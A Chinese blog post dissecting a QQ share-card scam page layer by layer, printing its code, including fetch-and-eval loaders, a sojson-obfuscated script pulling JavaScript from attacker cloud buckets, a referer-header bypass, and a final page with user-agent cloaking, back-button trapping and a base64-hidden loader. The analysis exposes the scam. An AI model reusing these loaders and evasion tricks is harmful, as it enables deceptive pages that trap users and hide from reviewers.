之前一段时间,我看QQ的时候突然在某个群看到了有人发这样的分享卡片: 搭眼一看就知道这个就是一个标准的诱骗分享的诈骗站了。反正我是觉得挺无聊的,就单纯只是想让别人扩散这个页面它能得到什么好处呢?真令人费解 可能是觉得好玩,看别人上当然后自己在一旁偷偷吃瓜? 不过我倒是有了一个想法:破解掉这个页面,给它源码扒出来 (开源)
实际上之前的时候我碰到了类似的东西的时候,这玩意还传播的正起劲呢。那个时候很简单,直接浏览器请求就能直接拿源码。 那时候比较早了,早到我还没搭这个博客站的那个时期了。 其实即使是有博客站我也懒得写那玩意,因为浏览器开发者选项直接解决了我写了不就挺水的
经过初步分析,我发现这个是时隔了那么长时间的骗子升级版页面,增加了更多防逆向分析源码的措施。 事情开始变得有意思起来了,真是一场朴实无华的网络攻防战 下面我将带大家逐一还原这一过程
表面:卡片背后的秘密 首先这个诈骗玩意是通过分享卡片来实现的传播,于是自然而然我们可以想到去获取卡片的源码,进而提取跳转目标 将这个卡片转发到自己群里,然后使用在粉壳(我的一个朋友)那挂的小号机器人进行提取: 可以得到 跳转链接:http://cartier.ww2022.minicostudio.cn/tencentcos/lod/8FUIF39m,d8238,gg934?PXmbcsdZ=ews3Mii7
封面链接:https://img20.360buyimg.com/openfeedback/jfs/t1/280952/7/10145/12225/67e524d6Fc604df81/2b764efb75ded358.jpg 和卡片结构的其他信息。
外层:一次跳转后便是套娃的开始 访问从卡片里提取出来的跳转链接,会出现跳转QQ的提示 同时页面url改变为https://ti.qq.com/open_qq/index3.html?url=https%3A%2F%2Fi.vision.qq.com%2Fprod%2Fimgs%2Fstatic%2Fh3u5k7asd1b702712261jkg4nf%3Ff%3D00%26f%3D00%26f%3D00%26qusid%3D2715411%26ansid%3D%26_from%3D%26_wv%3D131073%26_wwv%3D646%26_fv%3D0%26_bid%3D5103%26Ub9eD8dr%3DO8hUPJYY&ansid=&_from=&_wwv=646&_fv=0&_bid=5103
我们采用在线请求工具来获取这个卡片跳链的源码: 首先尝试一下POST请求(提交空数据),根据报错信息能看出来这个诈骗页面是托管在阿里云OSS上的,然后绑定了自定义域名 shanghai(上海)属于国内实例,因此minicostudio.cn
这个域名应该是备案过的
GET请求,拿到这个页面的源码:
1 2 <image src =//ti.qq.com/favicon.ico onload ="fetch(`//2025x.oss-cn-beijing.aliyuncs.com/rk.js`).then(r=>r.text()).then(eval)" >
我们拿到了外层的它调用用来跳转的js了,于是我们终于到了这个诈骗站的第二层了
次级:外层js内的链式调用 如法炮制,继续用工具GET请求外层调用的js://2025x.oss-cn-beijing.aliyuncs.com/rk.js
1 top.location .href = "https://ti.qq.com/open_qq/index3.html?url=https%3A%2F%2Fi.vision.qq.com%2Fprod%2Fimgs%2Fstatic%2Fh3u5k7asd1b702712261jkg4nf%3Ff%3D00%26f%3D00%26f%3D00%26qusid%3D2715411%26ansid%3D%26_from%3D%26_wv%3D131073%26_wwv%3D646%26_fv%3D0%26_bid%3D5103%26Ub9eD8dr%3DO8hUPJYY&ansid=&_from=&_wwv=646&_fv=0&_bid=5103" ;
可以看到其实就是刚才外层的那个访问卡片跳转链接就提示跳转QQ的关键代码了 这个js只做一件事,那就是调用QQ的跳板链接,以实现确保链接是在QQ里面打开的目的,而不是随便一个浏览器
对这一层的目标进行url解码,我们便得到了下一层级的入口:https://i.vision.qq.com/prod/imgs/static/h3u5k7asd1b702712261jkg4nf?f=00&f=00&f=00&qusid=2715411&ansid=&_from=&_wv=131073&_wwv=646&_fv=0&_bid=5103&Ub9eD8dr=O8hUPJYY
奇怪了,怎么又是QQ的域名。要说之前那个是跳板吧,那这又是什么?难不成是出了什么存储型XSS漏洞被人给利用了?
中级:可疑的QQ“图片链接”与混淆代码 现在让我们来具体分析一下次级里的那个到中级的跳转 从url查询路径/static/imgs
中可以看出,这应该是某种图片的静态资源链接 去掉所有查询参数,然后在浏览器里访问: 看吧,图片资源无效,坐实了这就是一个从服务器上获取图片的“图片链接”
如果我们不修改任何东西,直接去访问原始链接的话: 结果就是获取图片的链接,无端地变成了跳转404页面的静态页面。 我又尝试在手机浏览器里面访问这个链接,结果依然是跳到和刚才一样的404页面。
那么,真的是404吗? 其实不然,当我们从QQ里面跳转这个链接的话,结果又变得截然不同了 它又会开始正常跳转到诈骗页了 也就是说它判定不是QQ环境就给跳404,达到“一叶障目”的效果。
现在我们看完了这个“不是图片的图片链接”的外在表现了,接下来就可以去扒源了 GET请求,得到:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 <!DOCTYPEhtml> <htmllang="en"> <head > <metacharset="UTF-8"> <title > loading</title > <metaname="viewport"content="width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,user-scalable=0"> <linkrel="icon"href="data:;base64,="> <styletype="text/css"> #preview-area{ width: 18vw;height: 18vw;position: absolute;top: 0;left: 0;bottom: 60px;right: 0;margin: auto;-webkit-user-select: none;-moz-user-select: none;-ms-user-select: none;user-select: none }.sk-chase{ width: 18vw;height: 18vw;position: relative;animation: sk-chase2.5sinfinitelinearboth }.sk-chase-dot{ width: 100%;height: 100%;position: absolute;left: 0;top: 0;animation: sk-chase-dot2sinfiniteease-in-outboth }.sk-chase-dot: before{ content: "";display: block;width: 25%;height: 25%;background-color: #ff6600;border-radius: 100%;animation: sk-chase-dot-before2sinfiniteease-in-outboth }.sk-chase-dot: nth-child(1){ animation-delay: -1.1s }.sk-chase-dot: nth-child(2){ animation-delay: -1s }.sk-chase-dot: nth-child(3){ animation-delay: -.9s }.sk-chase-dot: nth-child(4){ animation-delay: -.8s }.sk-chase-dot: nth-child(5){ animation-delay: -.7s }.sk-chase-dot: nth-child(6){ animation-delay: -.6s }.sk-chase-dot: nth-child(1): before{ animation-delay: -1.1s }.sk-chase-dot: nth-child(2): before{ animation-delay: -1s }.sk-chase-dot: nth-child(3): before{ animation-delay: -.9s }.sk-chase-dot: nth-child(4): before{ animation-delay: -.8s }.sk-chase-dot: nth-child(5): before{ animation-delay: -.7s }.sk-chase-dot: nth-child(6): before{ animation-delay: -.6s }@keyframessk-chase{ 100%{ transform: rotate(360deg) } }@keyframessk-chase-dot{ 100%, 80%{ transform: rotate(360deg) } }@keyframessk-chase-dot-before{ 50%{ transform: scale(.4) }0%, 100%{ transform: scale(1) } } </style > </head > <body > <divid="preview-area"> <divclass="sk-chase"> <divclass="sk-chase-dot"></div > <divclass="sk-chase-dot"></div > <divclass="sk-chase-dot"></div > <divclass="sk-chase-dot"></div > <divclass="sk-chase-dot"></div > <divclass="sk-chase-dot"></div > </div > </div > <script > [ 'sojson.v4' ][ "\x66\x69\x6c\x74\x65\x72" ][ "\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72" ]((([ 'sojson.v4' ]+[ ])[ "\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72" ][ '\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65' ][ '\x61\x70\x70\x6c\x79' ](null , "102v117K110e99K116D105n111A110u32D108N111o97y100e74U115N40n115U114b99r44l32b99l97A108q108H98F97L99F107C44a32M101t114F114k67k97d108e108O98D97F99r107c41h32C123k10T32y32E32Q32h32A32N32U32W32N32y32h32W32I32A32o32j105w102Y32y40m33X115Z114w99d41q32F123W10Z32p32V32A32I32c32q32A32l32P32h32p32E32x32B32Z32X32U32G32A32i114L101x116s117N114P110j59l10w32E32b32z32L32Q32X32c32t32s32r32E32B32A32i32E32T125A10P32c32m32E32Z32d32y32p32K32i32j32k32U32p32s32C32a118e97U114c32n101f32y61Y32Z100B111j99n117a109d101q110a116k46B99O114d101S97u116B101C69i108t101G109R101U110O116y40g39P115H99b114e105c112j116c39z41v59a10V32O32D32E32w32j32j32g32t32o32g32y32d32u32X32z32R101E46n115f101i116I65S116i116Z114z105R98n117c116g101U40H39O116W121M112g101a39z44a32K39N116F101g120P116O47p106d97v118o97h115w99T114p105z112c116q39L41U59b10A32Y32W32E32X32J32y32B32k32V32R32q32M32o32v32j32z101Q46Q115x101B116N65d116x116D114L105e98z117O116E101b40C39V99p104p97C114X115c101e116Y39F44U32Z39N117J116t102Y45p56f39G41i59v10s32O32J32z32I32h32T32m32U32y32y32b32C32J32U32s32b101i46D115M101C116T65g116x116J114F105g98e117g116D101F40x39c115a114V99o39u44S32R115N114L99M41a59r10Z32k32k32q32K32U32k32A32q32x32c32v32M32Q32n32G32q100p111g99U117t109J101q110l116o46C103D101K116K69Z108r101m109e101q110B116A115Y66k121P84l97X103O78R97X109p101B40v39t104q101b97Y100Z39b41w91J48W93Z46G97Z112o112Y101r110N100e67T104N105I108E100w40P101S41q59h10G32A32Y32L32X32P32o32h32w32P32Y32U32Z32E32u32D32q105H102J32z40A116M121R112O101f111I102f32d101P114z114F67r97R108z108A98u97n99E107X32U61N61N61P32r39a102X117v110n99T116d105p111B110l39h41j32J123B10i32s32V32M32x32f32O32v32t32T32O32u32C32L32S32Z32x32P32B32Q32P101O46Z111c110F101N114V114e111p114Z32d61B32g101p114a114p67y97i108Y108f98M97g99S107W59P10I32o32l32k32l32u32Q32B32s32j32h32K32Z32p32W32Y32L125B10g32S32t32o32A32J32b32J32f32x32W32Q32s32e32A32h32w101D46z111y110V108p111C97W100Z32G61g32L102N117k110P99Y116T105M111g110w40e41W32m123i10h32D32o32b32e32w32n32N32c32c32I32h32R32L32D32f32R32T32j32X32L105G102q32n40R116g121r112E101h111b102I32U99I97W108z108A98M97Q99h107I32Y61x61b61f32X39U102h117X110w99b116L105Z111Y110p39V41B32R123Y10o32k32k32W32P32Y32q32k32f32M32G32f32n32P32L32Y32m32x32K32g32e32k32g32Q32l99f97E108X108H98T97b99g107H40R41S59N10I32t32u32i32R32N32O32K32J32s32k32g32n32u32E32s32r32s32P32F32Y125P10i32o32H32S32U32u32Z32g32Y32h32m32w32X32W32P32i32K125J59Z10W32v32J32x32d32T32C32a32T32e32X32S32G125L10J32z32n32I32O32G32D32E32Z32A32R32W32L108n111O97Z100L74x115a40J39N47w47m50D48b50h52y45F102t105Y108n101x46r111i115k115s45P99e110w45J104A97i110L103R122a104h111s117Q46N97J108u105W121f117j110a99g115J46V99J111q109X47u120O46g106a115o63C39H43A110A101p119o32r68p97L116B101Y40U41Z46U103U101W116A84j105M109e101G40h41T41o59" [ '\x73\x70\x6c\x69\x74' ](/[ a-zA-Z ]{ 1 , }/))))('sojson.v4' ); </script > </body > </html >
我直呼好家伙,这都是些什么玩意儿? 这还混淆了,这骗子学的还挺精 很好,比上次那个倒是进步不小
接下来就是想办法去还原这坨js代码,可是反混淆不是我的强项,我不会。 于是网上搜索找到了逆向方案: 打开浏览器的开发者工具(F12),然后在控制台里直接粘贴完整的混淆js代码,最后注释或直接删除末尾的('sojson.v4');
并回车键运行即可获得完整源码
我提取了script标签内的js代码,按照步骤进行操作后竟然报错了: 推测是那一堆换行有影响,压缩一下再试我觉得应该能行 这里贴出我操作压缩后的代码:
1 ['sojson.v4' ]["\x66\x69\x6c\x74\x65\x72" ]["\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72" ](((['sojson.v4' ]+[])["\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72" ]['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65' ]['\x61\x70\x70\x6c\x79' ](null ,"102v117K110e99K116D105n111A110u32D108N111o97y100e74U115N40n115U114b99r44l32b99l97A108q108H98F97L99F107C44a32M101t114F114k67k97d108e108O98D97F99r107c41h32C123k10T32y32E32Q32h32A32N32U32W32N32y32h32W32I32A32o32j105w102Y32y40m33X115Z114w99d41q32F123W10Z32p32V32A32I32c32q32A32l32P32h32p32E32x32B32Z32X32U32G32A32i114L101x116s117N114P110j59l10w32E32b32z32L32Q32X32c32t32s32r32E32B32A32i32E32T125A10P32c32m32E32Z32d32y32p32K32i32j32k32U32p32s32C32a118e97U114c32n101f32y61Y32Z100B111j99n117a109d101q110a116k46B99O114d101S97u116B101C69i108t101G109R101U110O116y40g39P115H99b114e105c112j116c39z41v59a10V32O32D32E32w32j32j32g32t32o32g32y32d32u32X32z32R101E46n115f101i116I65S116i116Z114z105R98n117c116g101U40H39O116W121M112g101a39z44a32K39N116F101g120P116O47p106d97v118o97h115w99T114p105z112c116q39L41U59b10A32Y32W32E32X32J32y32B32k32V32R32q32M32o32v32j32z101Q46Q115x101B116N65d116x116D114L105e98z117O116E101b40C39V99p104p97C114X115c101e116Y39F44U32Z39N117J116t102Y45p56f39G41i59v10s32O32J32z32I32h32T32m32U32y32y32b32C32J32U32s32b101i46D115M101C116T65g116x116J114F105g98e117g116D101F40x39c115a114V99o39u44S32R115N114L99M41a59r10Z32k32k32q32K32U32k32A32q32x32c32v32M32Q32n32G32q100p111g99U117t109J101q110l116o46C103D101K116K69Z108r101m109e101q110B116A115Y66k121P84l97X103O78R97X109p101B40v39t104q101b97Y100Z39b41w91J48W93Z46G97Z112o112Y101r110N100e67T104N105I108E100w40P101S41q59h10G32A32Y32L32X32P32o32h32w32P32Y32U32Z32E32u32D32q105H102J32z40A116M121R112O101f111I102f32d101P114z114F67r97R108z108A98u97n99E107X32U61N61N61P32r39a102X117v110n99T116d105p111B110l39h41j32J123B10i32s32V32M32x32f32O32v32t32T32O32u32C32L32S32Z32x32P32B32Q32P101O46Z111c110F101N114V114e111p114Z32d61B32g101p114a114p67y97i108Y108f98M97g99S107W59P10I32o32l32k32l32u32Q32B32s32j32h32K32Z32p32W32Y32L125B10g32S32t32o32A32J32b32J32f32x32W32Q32s32e32A32h32w101D46z111y110V108p111C97W100Z32G61g32L102N117k110P99Y116T105M111g110w40e41W32m123i10h32D32o32b32e32w32n32N32c32c32I32h32R32L32D32f32R32T32j32X32L105G102q32n40R116g121r112E101h111b102I32U99I97W108z108A98M97Q99h107I32Y61x61b61f32X39U102h117X110w99b116L105Z111Y110p39V41B32R123Y10o32k32k32W32P32Y32q32k32f32M32G32f32n32P32L32Y32m32x32K32g32e32k32g32Q32l99f97E108X108H98T97b99g107H40R41S59N10I32t32u32i32R32N32O32K32J32s32k32g32n32u32E32s32r32s32P32F32Y125P10i32o32H32S32U32u32Z32g32Y32h32m32w32X32W32P32i32K125J59Z10W32v32J32x32d32T32C32a32T32e32X32S32G125L10J32z32n32I32O32G32D32E32Z32A32R32W32L108n111O97Z100L74x115a40J39N47w47m50D48b50h52y45F102t105Y108n101x46r111i115k115s45P99e110w45J104A97i110L103R122a104h111s117Q46N97J108u105W121f117j110a99g115J46V99J111q109X47u120O46g106a115o63C39H43A110A101p119o32r68p97L116B101Y40U41Z46U103U101W116A84j105M109e101G40h41T41o59" ['\x73\x70\x6c\x69\x74' ](/[a-zA-Z]{1,}/ ))))('sojson.v4' );
再次进行操作,果然可以了: (左键双击输出的源码可以直接跳转查看详细源码) 在这里感谢https://www.52pojie.cn/thread-1614422-1-1.html 提供的解决方案! 然后这就是这一层级的答案了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 (function anonymous ( ) {function loadJs (src, callback, errCallback ) { if (!src) { return ; } var e = document .createElement ('script' ); e.setAttribute ('type' , 'text/javascript' ); e.setAttribute ('charset' , 'utf-8' ); e.setAttribute ('src' , src); document .getElementsByTagName ('head' )[0 ].appendChild (e); if (typeof errCallback === 'function' ) { e.onerror = errCallback; } e.onload = function ( ) { if (typeof callback === 'function' ) { callback (); } }; } loadJs ('//2024-file.oss-cn-hangzhou.aliyuncs.com/x.js?' +new Date ().getTime ()); })
可以看到,这层加载的//2024-file.oss-cn-hangzhou.aliyuncs.com/x.js
就是我们下一层要继续去解的内容了
高级:这只是个普通的中转 继续GET请求:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 function loadHtml (url ) { fetch (url) .then (response => { if (!response.ok ) { throw new Error ('Network response was not ok ' + response.statusText ); } return response.text (); }) .then (html => { document .open ("text/html" , "replace" ); document .write (html); document .close (); }) .catch (error => console .error ('There has been a problem with your fetch operation:' , error)); } loadHtml ('//2025xm.oss-cn-beijing.aliyuncs.com/index.html?' + new Date ().getTime ());
一招鲜吃遍天(哈哈) 比起下一层的内容,我更好奇// åŠ è½½ç›®æ ‡ HTML
这个注释原本写的是什么 在这里,终于从这一堆js里看到一个html了,真是太不容易了 骗子能套这么多也是没谁了,真无敌了
终级:深入html,真正的源码 GET:
1 2 3 4 5 6 7 8 9 10 11 <?xml version="1.0" encoding="UTF-8" ?> <Error > <Code > AccessDenied</Code > <Message > You are denied by bucket referer policy.</Message > <RequestId > 6838B2206D28FD3231785119</RequestId > <HostId > 2025xm.oss-cn-beijing.aliyuncs.com</HostId > <BucketName > 2025xm</BucketName > <EC > 0003-00000501</EC > <RecommendDoc > https://api.aliyun.com/troubleshoot?q=0003-00000501</RecommendDoc > </Error >
哦豁,这骗子竟然还留有后手,加了referer验证。为空或者不对都将影响返回结果 我们只需要请求的时候顺带把对应请求头也给加上就可以了。 那么真正的referer应该从哪找呢? 回顾前面的历程,猜测加载那一堆js的url应该就是这里referer的值了 我们直接把前面的https://i.vision.qq.com/prod/imgs/static/h3u5k7asd1b702712261jkg4nf?f=00&f=00&f=00&qusid=2715411&ansid=&_from=&_wv=131073&_wwv=646&_fv=0&_bid=5103&Ub9eD8dr=O8hUPJYY
直接拿过来用
果然成功拿到了正常的返回值:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 <!DOCTYPE html > <html lang ="en" > <head > <meta charset ="utf-8" > <meta name =viewport content ="width=device-width,initial-scale=1,maximum-scale=1,user-scalable=no" > <title > </title > <link rel ="stylesheet" href ="//2025xm.oss-cn-beijing.aliyuncs.com/css/fei.css" > <link rel ="stylesheet" href ="//2025xm.oss-cn-beijing.aliyuncs.com/css/qiang.css" > <script src ="//2025xm.oss-cn-beijing.aliyuncs.com/js/jquery.min.js" > </script > <script src ="//open.mobile.qq.com/sdk/qqapi.uncompressed.js" > </script > <style > .modal2 {width : 86% ;position : absolute; top : 150px ; left : 7% ; padding-top : 20px ; background : white; border-radius : 8px ;} .modal1 {width : 100% ; background : white; text-align : center; padding-top : 2vh ; padding-bottom : 5vh ; } .disappear {width : 30px ;height : 30px ; border-radius : 50% ; background : #c0c0c0 ; font-size : 20px ; line-height : 26px ; font-weight : bold; text-align : center; color : #ebebeb ; position : absolute;right : -10px ;top : -10px ;} .btn1 {width : 100% ; height : 50px ; border-top : 1px solid #dcd9d9 ;} .btnHide {width : 100% ; height : 50px ;font-size : 22px ; color : #18ad19 ; border : 0 ; background : white; border-radius : 4px ;} </style > <script > function isMobileQQ ( ) { var ua = navigator.userAgent .toLowerCase (); var isMobile = /iphone|ipod|ipad|android|harmonyos/i .test (ua); var isQQBrowser = /qq/i .test (ua); var isIOSQQ = /iphone|ipod|ipad/i .test (ua) && /qq/i .test (ua); var isAndroidQQ = /android/i .test (ua) && /qq/i .test (ua); var isHarmonyOSQQ = /harmonyos/i .test (ua) && /qq/i .test (ua); return isMobile && isQQBrowser && (isIOSQQ || isAndroidQQ || isHarmonyOSQQ); } if (isMobileQQ ()) { } else { top.location .href ="https://www.qq.com/babygohome/index.htm" ; } mqq.ui .setWebViewBehavior ({ swipeBack :0 }) </script > <script > function getUrlParam (name ) { var reg = new RegExp ("(^|&)" + name + "=([^&]*)(&|$)" ); var r = window .location .search .substr (1 ).match (reg); if (r != null ) return unescape (r[2 ]); return null ; } function random_num (max,min ){ var suff = parseInt (Math .random ()*(max-min+1 )+min,10 ); Math .floor (Math .random ()*(max-min+1 )+min); return suff; } var now_time = new Date ().getTime (); var from_time = (parseInt (getUrlParam ('_t' , document .referrer ))*1000 || now_time); var future = new Date (from_time + 3600 *24 *1000 *5 + 8 *3600 *1000 ); var future_str = future.toISOString ().substr (0 , 10 ); function hideDialog ( ){ document .getElementById ('dia' ).style .display = 'none' ; } </script > <style > a { text-decoration : none; } .nav { position : fixed; width : 100% ; height : 60px ; z-index : 9999999999 ; background : #fff ; bottom : 0 ; display :none; } .icon { position : absolute; top :11px ; left : 80px ; font-size : 26px ; color :#000000 ; } .icon1 { position : absolute; top :11px ; right : 80px ; font-size : 26px ; color :#000000 ; } </style > <style > .announcement-overlay { position : fixed; inset : 0 ; background : rgba (0 , 0 , 0 , 0.45 ); display : flex; align-items : center; justify-content : center; z-index : 9999 ; padding : 10px ; } .announcement-container { position : relative; width : 100% ; max-width : 600px ; max-height : 80vh ; background : #fff ; border-radius : 6px ; box-shadow : 0 4px 12px rgba (0 ,0 ,0 ,0.1 ); border : 1px solid #ebebeb ; display : flex; flex-direction : column; } .close-btn { position : absolute; top : 10px ; right : 10px ; background : none; border : none; font-size : 20px ; font-weight : bold; color : #666 ; cursor : pointer; } .close-btn :hover { opacity : 0.75 ; } .header-area { text-align : center; padding : 16px 50px 8px ; border-bottom : 1px solid #eee ; } .announcement-title { color : #c91f37 ; font-size : 18px ; font-weight : 700 ; margin-bottom : 4px ; } .announcement-subtitle { color : #888 ; font-size : 13px ; margin-bottom : 10px ; } .content-area { flex : 1 1 auto; overflow-y : auto; padding : 16px ; } .section-title { margin : 12px 0 6px ; font-weight : 600 ; font-size : 15px ; color : #444 ; } .section-text { font-size : 15px ; line-height : 1.5 ; color : #555 ; margin-bottom : 10px ; text-indent : 1em ; } ol { font-size : 15px ; line-height : 1.5 ; color : #555 ; margin-left : 1.5em ; margin-bottom : 10px ; } li { margin : 6px 0 ; } .highlight , strong { color : #c91f37 ; font-weight : 600 ; } .footer-area { flex : 0 0 auto; padding : 10px 16px 16px ; border-top : 1px solid #eee ; text-align : center; } .know-btn { width : 100% ; background : #ff4f3f ; color : #fff ; font-size : 15px ; font-weight : 600 ; border : none; border-radius : 6px ; padding : 12px 0 ; cursor : pointer; box-shadow : 0 3px 8px rgba (255 ,79 ,63 ,0.2 ); } .know-btn :hover { opacity : 0.9 ; } .small-tip { margin-top : 6px ; font-size : 13px ; color : #999 ; } @media (max-width : 375px ) { .announcement-title { font-size : 16px ; } .section-title { font-size : 14px ; } .section-text , ol { font-size : 14px ; } .know-btn { font-size : 14px ; } .close-btn { top : 8px ; right : 8px ; font-size : 18px ; } } </style > </head > <body style ="background:#fff" > <div id ="tishi" > </div > </div > <div class ="nav" id ="dibu" > <div class ="icon" onclick ="fanhui()" > <svg style ="width: 1em;height: 1em;vertical-align: middle;fill: currentColor;" viewBox ="0 0 1024 1024" version ="1.1" xmlns ="http://www.w3.org/2000/svg" p-id ="1154" > <path d ="M690.33 195.494c4.5-4.5 7.03-10.6 7.03-16.97l0.01-95.2c0.01-7.13-8.62-10.71-13.66-5.66l-423.03 423.03c-6.24 6.25-6.24 16.37 0 22.62l423.03 423.03c5.04 5.05 13.67 1.47 13.66-5.66l-0.01-95.2c0-6.37-2.53-12.47-7.03-16.97l-316.51-316.51 316.51-316.51z" p-id ="1155" > </path > </svg > </div > <div class ="icon1" onclick ="fanhui()" > <svg style ="width: 1em;height: 1em;vertical-align: middle;fill: currentColor;overflow: hidden;" viewBox ="0 0 1024 1024" version ="1.1" xmlns ="http://www.w3.org/2000/svg" p-id ="1176" > <path d ="M334.039 195.494c-4.5-4.5-7.03-10.6-7.03-16.97l-0.01-95.2c-0.01-7.13 8.62-10.71 13.66-5.66l423.03 423.03c6.24 6.25 6.24 16.37 0 22.62l-423.03 423.03c-5.04 5.05-13.67 1.47-13.66-5.66l0.01-95.2c0-6.37 2.53-12.47 7.03-16.97l316.51-316.51-316.51-316.51z" p-id ="1177" > </path > </svg > </div > </div > <script > mqq.ui .setWebViewBehavior ({ swipeBack :0 }) setTimeout (function ( ){ history.pushState (history.length + 1 , "message" , "#" + new Date ().getTime ()); },200 ); setTimeout (function ( ) { </script > <script > var s = document .createElement ('script' ); s.src = atob ("Ly8yMDI1eG0ub3NzLWNuLWJlaWppbmcuYWxpeXVuY3MuY29tL2pzL3NtLjIwMjUuanM=" ) + "?t=" + new Date ().getTime (); s.charset = "utf-8" ; document .body .appendChild (s); </script > <div id ="lly_dialog" style ="display: none" > <div class ="weui-mask" > </div > <div class ="weui-dialog" > <div class ="weui-dialog__bd" id ="lly_dialog_msg" > </div > <div class ="weui-dialog__ft" > <a href ="javascript:;" class ="weui-dialog__btn weui-dialog__btn_primary" id ="lly_dialog_btn" > </a > </div > </div > </div > <div style ="display:none" > <script > var _hmt = _hmt || []; (function ( ) { var hm = document .createElement ("script" ); hm.src = "https://hm.baidu.com/hm.js?f43e74c9eaf28f9f7016fdb2cf0e3767" ; var s = document .getElementsByTagName ("script" )[0 ]; s.parentNode .insertBefore (hm, s); })(); </script > </div > <script charset ="UTF-8" id ="LA_COLLECT" src ="//sdk.51.la/js-sdk-pro.min.js" > </script > <script > LA .init ({id :"3KnQSIxO0eCK8b56" ,ck :"3KnQSIxO0eCK8b56" })</script > </body > </html >
这应该就是最终的页面了,这样我们就把这个骗子页面从上到下扒干净了